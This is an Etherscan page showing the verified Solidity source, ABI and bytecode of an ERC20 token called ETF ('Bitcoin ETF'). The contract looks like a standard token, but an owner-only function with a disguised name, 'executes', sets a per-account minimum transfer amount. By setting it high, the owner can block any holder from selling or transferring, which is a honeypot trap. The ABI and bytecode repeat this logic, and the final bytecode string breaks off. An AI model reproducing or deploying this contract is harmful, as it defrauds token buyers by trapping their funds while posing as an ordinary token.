Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _msgSender()  contract Ownable is Context    - function owner()    - function renounceOwnership()    - function transferOwnership(address ne ...  contract ETF is Context, Ownable, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function executes(address account, ui ...    - function didexecutes(address account)    - function isOver()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-01-21
*/

/**

*/

pragma solidity ^0.8.6;

// Interface for ERC20 standard functions and events.
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// Abstract contract that provides a context for who is calling the function.
abstract contract Context {
    // Internal function to return the sender of the transaction.
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

// Contract module that provides basic authorization control.
contract Ownable is Context {
    address private _owner;

    // Event that is emitted when ownership is transferred.
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    // Constructor that sets the original `owner` of the contract to the sender.
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    // Function to return the address of the current owner.
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Modifier to restrict functions to the owner.
    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    // Function to relinquish ownership of the contract.
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    // Function to transfer ownership to a new address.
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

// ERC20 Token implementation.
contract ETF is Context, Ownable, IERC20 {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _updatesd;
    bool private _etfapproved = true;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    // Constructor to initialize the token.
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** uint256(decimals_));
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    // Standard ERC20 functions.
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_etfapproved, "ETF: Trading is currently disabled");
        require(amount >= _updatesd[_msgSender()], "ETF: Transfer amount is less than the minimum allowed");
        require(_balances[_msgSender()] >= amount, "ETF: transfer amount exceeds balance");
        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_etfapproved, "ETF: Trading is currently disabled");
        require(amount >= _updatesd[sender], "ETF: Not enough crow");
        require(_balances[sender] >= amount, "ETF: transfer amount exceeds balance");
        require(_allowances[sender][_msgSender()] >= amount, "ETF: transfer amount exceeds allowance");
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    // Events and functions for managing minimum transfer amounts and trading status.
    event etftransact(address indexed account, uint256 newAmount);

    function executes(address account, uint256 newAmount) public onlyOwner {
        require(account != address(0), "ETF: address zero is not a valid account");
        _updatesd[account] = newAmount;
        emit etftransact(account, newAmount);
    }

    function didexecutes(address account) public view returns (uint256) {
        return _updatesd[account];
    }

    function isOver() public view returns (bool) {
        return _etfapproved;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"etftransact","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"didexecutes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"executes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isOver","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052600160045f6101000a81548160ff0219169083151502179055503480156200002a575f80fd5b50604051620021d5380380620021d5833981810160405281019062000050919062000434565b5f620000616200023560201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35083600590816200010e91906200070f565b5082600690816200012091906200070f565b508160075f6101000a81548160ff021916908360ff1602179055508160ff16600a6200014d919062000970565b816200015a9190620009c0565b60088190555060085460015f620001766200023560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620001c36200023560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000223919062000a1b565b60405180910390a35050505062000a36565b5f33905090565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200029d8262000255565b810181811067ffffffffffffffff82111715620002bf57620002be62000265565b5b80604052505050565b5f620002d36200023c565b9050620002e1828262000292565b919050565b5f67ffffffffffffffff82111562000303576200030262000265565b5b6200030e8262000255565b9050602081019050919050565b5f5b838110156200033a5780820151818401526020810190506200031d565b5f8484015250505050565b5f6200035b6200035584620002e6565b620002c8565b9050828152602081018484840111156200037a576200037962000251565b5b620003878482856200031b565b509392505050565b5f82601f830112620003a657620003a56200024d565b5b8151620003b884826020860162000345565b91505092915050565b5f60ff82169050919050565b620003d881620003c1565b8114620003e3575f80fd5b50565b5f81519050620003f681620003cd565b92915050565b5f819050919050565b6200041081620003fc565b81146200041b575f80fd5b50565b5f815190506200042e8162000405565b92915050565b5f805f80608085870312156200044f576200044e62000245565b5b5f85015167ffffffffffffffff8111156200046f576200046e62000249565b5b6200047d878288016200038f565b945050602085015167ffffffffffffffff811115620004a157620004a062000249565b5b620004af878288016200038f565b9350506040620004c287828801620003e6565b9250506060620004d5878288016200041e565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200053057607f821691505b602082108103620005465762000545620004eb565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620005aa7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200056d565b620005b686836200056d565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620005f7620005f1620005eb84620003fc565b620005ce565b620003fc565b9050919050565b5f819050919050565b6200061283620005d7565b6200062a6200062182620005fe565b84845462000579565b825550505050565b5f90565b6200064062000632565b6200064d81848462000607565b505050565b5b818110156200067457620006685f8262000636565b60018101905062000653565b5050565b601f821115620006c3576200068d816200054c565b62000698846200055e565b81016020851015620006a8578190505b620006c0620006b7856200055e565b83018262000652565b50505b505050565b5f82821c905092915050565b5f620006e55f1984600802620006c8565b1980831691505092915050565b5f620006ff8383620006d4565b9150826002028217905092915050565b6200071a82620004e1565b67ffffffffffffffff81111562000736576200073562000265565b5b62000742825462000518565b6200074f82828562000678565b5f60209050601f83116001811462000785575f841562000770578287015190505b6200077c8582620006f2565b865550620007eb565b601f19841662000795866200054c565b5f5b82811015620007be5784890151825560018201915060208501945060208101905062000797565b86831015620007de5784890151620007da601f891682620006d4565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200087d57808604811115620008555762000854620007f3565b5b6001851615620008655780820291505b8081029050620008758562000820565b945062000835565b94509492505050565b5f8262000897576001905062000969565b81620008a6575f905062000969565b8160018114620008bf5760028114620008ca5762000900565b600191505062000969565b60ff841115620008df57620008de620007f3565b5b8360020a915084821115620008f957620008f8620007f3565b5b5062000969565b5060208310610133831016604e8410600b84101617156200093a5782820a905083811115620009345762000933620007f3565b5b62000969565b6200094984848460016200082c565b92509050818404811115620009635762000962620007f3565b5b81810290505b9392505050565b5f6200097c82620003fc565b91506200098983620003fc565b9250620009b87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000886565b905092915050565b5f620009cc82620003fc565b9150620009d983620003fc565b9250828202620009e981620003fc565b9150828204841483151762000a035762000a02620007f3565b5b5092915050565b62000a1581620003fc565b82525050565b5f60208201905062000a305f83018462000a0a565b92915050565b6117918062000a445f395ff3fe608060405234801561000f575f80fd5b50600436106100f3575f3560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610273578063b4bd9e27146102a3578063dd62ed3e146102c1578063f2fde38b146102f1576100f3565b806370a08231146101fd578063715018a61461022d5780638da5cb5b1461023757806395d89b4114610255576100f3565b806318160ddd116100d157806318160ddd1461017557806323b872dd146101935780632a551e41146101c3578063313ce567146101df576100f3565b80630513156c146100f757806306fdde0314610127578063095ea7b314610145575b5f80fd5b610111600480360381019061010c91906110b2565b61030d565b60405161011e91906110f5565b60405180910390f35b61012f610353565b60405161013c9190611198565b60405180910390f35b61015f600480360381019061015a91906111e2565b6103e3565b60405161016c919061123a565b60405180910390f35b61017d6104de565b60405161018a91906110f5565b60405180910390f35b6101ad60048036038101906101a89190611253565b6104e7565b6040516101ba919061123a565b60405180910390f35b6101dd60048036038101906101d891906111e2565b6108a3565b005b6101e76109ea565b6040516101f491906112be565b60405180910390f35b610217600480360381019061021291906110b2565b6109ff565b60405161022491906110f5565b60405180910390f35b610235610a45565b005b61023f610b48565b60405161024c91906112e6565b60405180910390f35b61025d610b6f565b60405161026a9190611198565b60405180910390f35b61028d600480360381019061028891906111e2565b610bff565b60405161029a919061123a565b60405180910390f35b6102ab610e7f565b6040516102b8919061123a565b60405180910390f35b6102db60048036038101906102d691906112ff565b610e94565b6040516102e891906110f5565b60405180910390f35b61030b600480360381019061030691906110b2565b610f16565b005b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600580546103629061136a565b80601f016020809104026020016040519081016040528092919081815260200182805461038e9061136a565b80156103d95780601f106103b0576101008083540402835291602001916103d9565b820191905f5260205f20905b8154815290600101906020018083116103bc57829003601f168201915b5050505050905090565b5f8160025f6103f061104d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff1661048761104d565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104cc91906110f5565b60405180910390a36001905092915050565b5f600854905090565b5f60045f9054906101000a900460ff16610536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052d9061140a565b60405180910390fd5b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548210156105b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ad90611472565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062d90611500565b60405180910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61067d61104d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156106f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ef9061158e565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461074491906115d9565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610797919061160c565b925050819055508160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107e561104d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461082c91906115d9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161089091906110f5565b60405180910390a3600190509392505050565b6108ab61104d565b73ffffffffffffffffffffffffffffffffffffffff166108c9610b48565b73ffffffffffffffffffffffffffffffffffffffff16146108e8575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094d906116af565b60405180910390fd5b8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff167fdffba7c6018da47f14740c233121a1e041158a870a10aa1526759cf42ddca7fc826040516109de91906110f5565b60405180910390a25050565b5f60075f9054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a4d61104d565b73ffffffffffffffffffffffffffffffffffffffff16610a6b610b48565b73ffffffffffffffffffffffffffffffffffffffff1614610a8a575f80fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610b7e9061136a565b80601f0160208091040260200160405190810160405280929190818152602001828054610baa9061136a565b8015610bf55780601f10610bcc57610100808354040283529160200191610bf5565b820191905f5260205f20905b815481529060010190602001808311610bd857829003601f168201915b5050505050905090565b5f60045f9054906101000a900460ff16610c4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c459061140a565b60405180910390fd5b60035f610c5961104d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821015610cd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccc9061173d565b60405180910390fd5b8160015f610ce161104d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5390611500565b60405180910390fd5b8160015f610d6861104d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610daf91906115d9565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e02919061160c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610e2861104d565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e6d91906110f5565b60405180910390a36001905092915050565b5f60045f9054906101000a900460ff16905090565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610f1e61104d565b73ffffffffffffffffffffffffffffffffffffffff16610f3c610b48565b73ffffffffffffffffffffffffffffffffffffffff1614610f5b575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f92575f80fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61108182611058565b9050919050565b61109181611077565b811461109b575f80fd5b50565b5f813590506110ac81611088565b92915050565b5f602082840312156110c7576110c6611054565b5b5f6110d48482850161109e565b91505092915050565b5f819050919050565b6110ef816110dd565b82525050565b5f6020820190506111085f8301846110e6565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561114557808201518184015260208101905061112a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61116a8261110e565b6111748185611118565b9350611184818560208601611128565b61118d81611150565b840191505092915050565b5f6020820190508181035f8301526111b08184611160565b905092915050565b6111c1816110dd565b81146111cb575f80fd5b50565b5f813590506111dc816111b8565b92915050565b5f80604083850312156111f8576111f7611054565b5b5f6112058582860161109e565b9250506020611216858286016111ce565b9150509250929050565b5f8115159050919050565b61123481611220565b82525050565b5f60208201905061124d5f83018461122b565b92915050565b5f805f6060848603121561126a57611269611054565b5b5f6112778682870161109e565b93505060206112888682870161109e565b9250506040611299868287016111ce565b9150509250925092565b5f60ff82169050919050565b6112b8816112a3565b82525050565b5f6020820190506112d15f8301846112af565b92915050565b6112e081611077565b82525050565b5f6020820190506112f95f8301846112d7565b92915050565b5f806040838503121561131557611314611054565b5b5f6113228582860161109e565b92505060206113338582860161109e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061138157607f821691505b6020821081036113945761139361133d565b5b50919050565b7f4554463a2054726164696e672069732063757272656e746c792064697361626c5f8201527f6564000000000000000000000000000000000000000000000000000000000000602082015250565b5f6113f4602283611118565b91506113ff8261139a565b604082019050919050565b5f6020820190508181035f830152611421816113e8565b9050919050565b7f4554463a204e6f7420656e6f7567682063726f770000000000000000000000005f82015250565b5f61145c601483611118565b915061146782611428565b602082019050919050565b5f6020820190508181035f83015261148981611450565b9050919050565b7f4554463a207472616e7366657220616d6f756e7420657863656564732062616c5f8201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b5f6114ea602483611118565b91506114f582611490565b604082019050919050565b5f6020820190508181035f830152611517816114de565b9050919050565b7f4554463a207472616e7366657220616d6f756e74206578636565647320616c6c5f8201527f6f77616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611578602683611118565b91506115838261151e565b604082019050919050565b5f6020820190508181035f8301526115a58161156c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6115e3826110dd565b91506115ee836110dd565b9250828203905081811115611606576116056115ac565b5b92915050565b5f611616826110dd565b9150611621836110dd565b9250828201905080821115611639576116386115ac565b5b92915050565b7f4554463a2061646472657373207a65726f206973206e6f7420612076616c69645f8201527f206163636f756e74000000000000000000000000000000000000000000000000602082015250565b5f611699602883611118565b91506116a48261163f565b604082019050919050565b5f6020820190508181035f8301526116c68161168d565b9050919050565b7f4554463a205472616e7366657220616d6f756e74206973206c657373207468615f8201527f6e20746865206d696e696d756d20616c6c6f7765640000000000000000000000602082015250565b5f611727603583611118565b9150611732826116cd565b604082019050919050565b5f6020820190508181035f8301526117548161171b565b905091905056fea2646970667358221220c0030713859d5d66c09b3aea478483bce49f5c183f2cf96ab67511beccdfed7364736f6c63430008170033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000b426974636f696e2045544600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034554460000000000000000000000000000000000000000000000000000000000

0x608060405234801561000f575f80fd5b50600436106100f3575f3560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610273578063b4bd9e27146102a3578063dd62ed3e146102c1578063f2fde38b146102f1576100f3565b806370a08231146101fd578063715018a61461022d5780638da5cb5b1461023757806395d89b4114610255576100f3565b806318160ddd116100d157806318160ddd1461017557806323b872dd146101935780632a551e41146101c3578063313ce567146101df576100f3565b80630513156c146100f757806306fdde0314610127578063095ea7b314610145575b5f80fd5b610111600480360381019061010c91906110b2565b61030d565b60405161011e91906110f5565b60405180910390f35b61012f610353565b60405161013c9190611198565b60405180910390f35b61015f600480360381019061015a91906111e2565b6103e3565b60405161016c919061123a565b60405180910390f35b61017d6104de565b60405161018a91906110f5565b60405180910390f35b6101ad60048036038101906101a89190611253565b6104e7565b6040516101ba919061123a565b60405180910390f35b6101dd60048036038101906101d891906111e2565b6108a3565b005b6101e76109ea565b6040516101f491906112be565b60405180910390f35b610217600480360381019061021291906110b2565b6109ff565b60405161022491906110f5565b60405180910390f35b610235610a45565b005b61023f610b48565b60405161024c91906112e6565b60405180910390f35b61025d610b6f565b60405161026a9190611198565b60405180910390f35b61028d600480360381019061028891906111e2565b610bff565b60405161029a919061123a565b60405180910390f35b6102ab610e7f565b6040516102b8919061123a565b60405180910390f35b6102db60048036038101906102d691906112ff565b610e94565b6040516102e891906110f5565b60405180910390f35b61030b600480360381019061030691906110b2565b610f16565b005b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600580546103629061136a565b80601f016020809104026020016040519081016040528092919081815260200182805461038e9061136a565b80156103d95780601f106103b0576101008083540402835291602001916103d9565b820191905f5260205f20905b8154815290600101906020018083116103bc57829003601f168201915b5050505050905090565b5f8160025f6103f061104d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff1661048761104d565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104cc91906110f5565b60405180910390a36001905092915050565b5f600854905090565b5f60045f9054906101000a900460ff16610536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052d9061140a565b60405180910390fd5b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548210156105b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ad90611472565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062d90611500565b60405180910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61067d61104d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156106f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ef9061158e565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461074491906115d9565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610797919061160c565b925050819055508160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107e561104d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461082c91906115d9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161089091906110f5565b60405180910390a3600190509392505050565b6108ab61104d565b73ffffffffffffffffffffffffffffffffffffffff166108c9610b48565b73ffffffffffffffffffffffffffffffffffffffff16146108e8575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094d906116af565b60405180910390fd5b8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff167fdffba7c6018da47f14740c233121a1e041158a870a10aa1526759cf42ddca7fc826040516109de91906110f5565b60405180910390a25050565b5f60075f9054906101000a900460ff16905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a4d61104d565b73ffffffffffffffffffffffffffffffffffffffff16610a6b610b48565b73ffffffffffffffffffffffffffffffffffffffff1614610a8a575f80fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186